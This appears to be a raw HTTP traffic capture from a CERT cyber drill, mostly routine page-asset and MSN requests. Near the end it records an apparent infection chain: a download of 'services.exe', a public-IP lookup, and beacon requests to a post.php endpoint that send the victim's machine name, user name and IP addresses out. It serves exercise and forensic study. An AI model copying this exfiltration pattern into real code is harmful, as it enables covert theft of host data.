Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "4198-579876a99f212"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/portfolio/02-thumbnail.jpg
GET /newportail/img/portfolio/02-thumbnail.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "404b-579876a99f212"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/portfolio/03-thumbnail.jpg
GET /newportail/img/portfolio/03-thumbnail.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "40dc-579876a99f212"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/portfolio/04-thumbnail.jpg
GET /newportail/img/portfolio/04-thumbnail.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "40b1-579876a99f212"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/portfolio/05-thumbnail.jpg
GET /newportail/img/portfolio/05-thumbnail.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "5ed1-579876a99f212"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/portfolio/06-thumbnail.jpg
GET /newportail/img/portfolio/06-thumbnail.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "3529-579876a99f212"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/about/1.jpg
GET /newportail/img/about/1.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "1b4b-579876a99f212"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/about/2.jpg
GET /newportail/img/about/2.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "3be9-579876a99f212"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/about/3.jpg
GET /newportail/img/about/3.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "1caa-579876a99f212"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/about/4.jpg
GET /newportail/img/about/4.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "1326-579876a99f212"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/team/1.jpg
GET /newportail/img/team/1.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "345c4-579876a99f212"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/team/2.jpg
GET /newportail/img/team/2.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "34d88-579876a99f212"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/team/3.jpg
GET /newportail/img/team/3.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "372f5-579876a99f212"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/logos/envato.jpg
GET /newportail/img/logos/envato.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "7f8-579876a99f212"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/logos/designmodo.jpg
GET /newportail/img/logos/designmodo.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "6a0-579876a99f212"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/logos/themeforest.jpg
GET /newportail/img/logos/themeforest.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "699-579876a99f212"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/logos/creative-market.jpg
GET /newportail/img/logos/creative-market.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "6e6-579876a99f212"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/portfolio/01-full.jpg
GET /newportail/img/portfolio/01-full.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "ce70-579876a99f212"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/portfolio/02-full.jpg
GET /newportail/img/portfolio/02-full.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "7cca-579876a99f212"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/portfolio/03-full.jpg
GET /newportail/img/portfolio/03-full.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "cec1-579876a99f212"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/portfolio/04-full.jpg
GET /newportail/img/portfolio/04-full.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "a11f-579876a99f212"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/portfolio/05-full.jpg
GET /newportail/img/portfolio/05-full.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "19779-579876a99f212"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/portfolio/06-full.jpg
GET /newportail/img/portfolio/06-full.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "91b0-579876a99f212"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/vendor/jquery/jquery.min.js
GET /newportail/vendor/jquery/jquery.min.js HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "1538f-579876a9abd34-gzip"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/vendor/bootstrap/js/bootstrap.bundle.min.js
GET /newportail/vendor/bootstrap/js/bootstrap.bundle.min.js HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "11536-579876a9a01b2-gzip"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/vendor/jquery-easing/jquery.easing.min.js
GET /newportail/vendor/jquery-easing/jquery.easing.min.js HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "9e4-579876a9abd34-gzip"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/js/jqBootstrapValidation.js
GET /newportail/js/jqBootstrapValidation.js HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "9135-579876a99f212-gzip"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/js/contact_me.js
GET /newportail/js/contact_me.js HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "aee-579876a99f212-gzip"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/js/agency.min.js
GET /newportail/js/agency.min.js HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "43e-579876a99f212-gzip"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/vendor/fontawesome-free/webfonts/fa-regular-400.eot?
GET /newportail/vendor/fontawesome-free/webfonts/fa-regular-400.eot? HTTP/1.1
Accept: */*
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Origin: http://portail.drill.macert.gov.ma
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "9e80-579876a9aad93"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/vendor/fontawesome-free/webfonts/fa-solid-900.eot?
GET /newportail/vendor/fontawesome-free/webfonts/fa-solid-900.eot? HTTP/1.1
Accept: */*
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Origin: http://portail.drill.macert.gov.ma
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "2c1f0-579876a9aad93"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/vendor/fontawesome-free/webfonts/fa-brands-400.eot?
GET /newportail/vendor/fontawesome-free/webfonts/fa-brands-400.eot? HTTP/1.1
Accept: */*
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Origin: http://portail.drill.macert.gov.ma
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "1cf20-579876a9aad93"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/header-bg.jpg
GET /newportail/img/header-bg.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "1ea0b-579876a99f212"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/map-image.png
GET /newportail/img/map-image.png HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "58e06-579876a99f212"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/upload/info.html
GET /newportail/upload/info.html HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/upload/info.html
GET /newportail/upload/info.html HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Thu, 01 Nov 2018 10:44:13 GMT
If-None-Match: "2f6b-579981980dc6f-gzip"
DNT: 1
Connection: Keep-Alive

http://blog.drill.macert.gov.ma/dmlfskjmdkjfmldq/services.exe
GET /dmlfskjmdkjfmldq/services.exe HTTP/1.1
Host: blog.drill.macert.gov.ma
Connection: Keep-Alive

http://bot.whatismyipaddress.com/
GET / HTTP/1.1
Host: bot.whatismyipaddress.com
Connection: Keep-Alive

http://blog.drill.macert.gov.ma/dmlfskjmdkjfmldq/post.php?data=%7B%22UserID%22:%22QNvefgMSKICjcbjTksMgalQZzhzbMhyA%22,%22MachineName%22:%22AMINE-PC%22,%22UserName%22:%22Amine%22,%22publicIP%22:%22196.13.108.12%22,%22privateIP%22:%22192.168.3.158%22,%22teamID%22:%22cNQBLvCq%22%7D
GET /dmlfskjmdkjfmldq/post.php?data=%7B%22UserID%22:%22QNvefgMSKICjcbjTksMgalQZzhzbMhyA%22,%22MachineName%22:%22AMINE-PC%22,%22UserName%22:%22Amine%22,%22publicIP%22:%22196.13.108.12%22,%22privateIP%22:%22192.168.3.158%22,%22teamID%22:%22cNQBLvCq%22%7D HTTP/1.1
Host: blog.drill.macert.gov.ma
Connection: Keep-Alive

http://blog.drill.macert.gov.ma/dmlfskjmdkjfmldq/post.php?data=%7B%22UserID%22:%22QNvefgMSKICjcbjTksMgalQZzhzbMhyA%22,%22privateIP%22:%22192.168.3.158%22%7D
GET /dmlfskjmdkjfmldq/post.php?data=%7B%22UserID%22:%22QNvefgMSKICjcbjTksMgalQZzhzbMhyA%22,%22privateIP%22:%22192.168.3.158%22%7D HTTP/1.1
Host: blog.drill.macert.gov.ma

http://blog.drill.macert.gov.ma/dmlfskjmdkjfmldq/download.php
GET /dmlfskjmdkjfmldq/download.php HTTP/1.1
Host: blog.drill.macert.gov.ma

http://go.microsoft.com/fwlink/?LinkId=69157
GET /fwlink/?LinkId=69157 HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: go.microsoft.com
DNT: 1
Connection: Keep-Alive
Cookie: MC1=GUID=4fc7032274b3474286bb99a6d43a6681&HASH=4fc7&LV=201809&V=4&LU=1538054414638; MSCC=1538054468; optimizelyEndUserId=oeu1539785453397r0.4092746467069476

http://www.msn.com/?ocid=iehp
GET /?ocid=iehp HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: www.msn.com
DNT: 1
Connection: Keep-Alive
Cookie: PreferencesMsn=eyJIb21lUGFnZSI6eyJTdHJpcGVzIjpbXSwiTWVTdHJpcGVNb2R1bGVzIjpbXSwiTWFya2V0Q29uZmlndXJhdGlvbiI6eyJNYXJrZXQiOiJhci1lZyIsIlN1cHByZXNzUHJvbXB0IjpmYWxzZSwiUHJlZmVycmVkTGFuZ3VhZ2VDb2RlIjoiZnItZnIiLCJDb3VudHJ5Q29kZSI6Ik1BIn19LCJFeHBpcnlUaW1lIjo2MzcwODE5ODUzMTUwMDI1ODMsIlZlcnNpb24iOjF90; amrexp=1; marketPref=ar-eg; _EDGE_V=1; MUID=0DACC1BA7F8E61DB2C93CDCD7E3960C2; _SS=SID=00; ANON=A=46C6EB2CABC3D9CDC8B6293CFFFFFFFF&E=15cf&W=1; NAP=V=1.9&E=1575&C=DvDMDtE-M2uUci6FaTwdCta4KAxhrPx23tKe_aDuhpiDWk8AveKm2g&W=1; _cb_ls=1; _cb=BxpdvuD1Une9GQiG4; _chartbeat2=.1538054409356.1541065733200.1000000000000001.DC-lvhGdCc8BxHYZwCUQCNkDMFno0.1; banner:northafricaredirect:lastseen=Thu, 01 Nov 2018 09:48:55 GMT; banner:northafricaredirect:count=2; timeZoneOffsetInMins=0; adoptout={"msaOptOut":0,"adIdOptOut":0}

http://www.msn.com/ar-eg/?ocid=iehp
GET /ar-eg/?ocid=iehp HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: www.msn.com
Cookie: PreferencesMsn=eyJIb21lUGFnZSI6eyJTdHJpcGVzIjpbXSwiTWVTdHJpcGVNb2R1bGVzIjpbXSwiTWFya2V0Q29uZmlndXJhdGlvbiI6eyJNYXJrZXQiOiJhci1lZyIsIlN1cHByZXNzUHJvbXB0IjpmYWxzZSwiUHJlZmVycmVkTGFuZ3VhZ2VDb2RlIjoiZnItZnIiLCJDb3VudHJ5Q29kZSI6Ik1BIn19LCJFeHBpcnlUaW1lIjo2MzcwODE5ODUzMTUwMDI1ODMsIlZlcnNpb24iOjF90; amrexp=1; marketPref=ar-eg; _EDGE_V=1; MUID=0DACC1BA7F8E61DB2C93CDCD7E3960C2; _SS=SID=00; ANON=A=46C6EB2CABC3D9CDC8B6293CFFFFFFFF&E=15cf&W=1; NAP=V=1.9&E=1575&C=DvDMDtE-M2uUci6FaTwdCta4KAxhrPx23tKe_aDuhpiDWk8AveKm2g&W=1; _cb_ls=1; _cb=BxpdvuD1Une9GQiG4; _chartbeat2=.1538054409356.1541065733200.1000000000000001.DC-lvhGdCc8BxHYZwCUQCNkDMFno0.1; banner:northafricaredirect:lastseen=Thu, 01 Nov 2018 09:48:55 GMT; banner:northafricaredirect:count=2; timeZoneOffsetInMins=0; adoptout={"msaOptOut":0,"adIdOptOut":0}
Connection: Keep-Alive
DNT: 1

http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1kvzy.img?m=6&o=true&u=true&n=true&w=30&h=30
GET /img-resizer/tenant/amp/entityid/BB1kvzy.img?m=6&o=true&u=true&n=true&w=30&h=30 HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: static-global-s-msn-com.akamaized.net
If-Modified-Since: Mon, 15 Oct 2018 06:00:25 GMT
DNT: 1
Connection: Keep-Alive

http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBPboGG.img?h=250&w=300&m=6&q=60&u=t&o=t&l=f&f=jpg&x=422&y=223
GET /img-resizer/tenant/amp/entityid/BBPboGG.img?h=250&w=300&m=6&q=60&u=t&o=t&l=f&f=jpg&x=422&y=223 HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: static-global-s-msn-com.akamaized.net
DNT: 1
Connection: Keep-Alive

http://c.msn.com/c.gif?udc=true&rid=9fd4eda86a954f1a8e448d3140f41e75&rnd=636766682076266150&rf=&tp=http%253A%252F%252Fwww.msn.com%252Far-eg%252F%253Focid%253Diehp&di=16323&lng=ar-eg&activityId=9fd4eda86a954f1a8e448d3140f41e75&d.dgk=tmx.pc.ms.ie10plus&d.imd=0&st.dpt=&st.sdpt=&subcvs=homepage&pg.n=startpage&pg.t=hp&pg.c=&pg.p=prime&anoncknm=&issso=0&aadState=0
GET /c.gif?udc=true&rid=9fd4eda86a954f1a8e448d3140f41e75&rnd=636766682076266150&rf=&tp=http%253A%252F%252Fwww.msn.com%252Far-eg%252F%253Focid%253Diehp&di=16323&lng=ar-eg&activityId=9fd4eda86a954f1a8e448d3140f41e75&d.dgk=tmx.pc.ms.ie10plus&d.imd=0&st.dpt=&st.sdpt=&subcvs=homepage&pg.n=startpage&pg.t=hp&pg.c=&pg.p=prime&anoncknm=&issso=0&aadState=0 HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: c.msn.com
DNT: 1
Connection: Keep-Alive
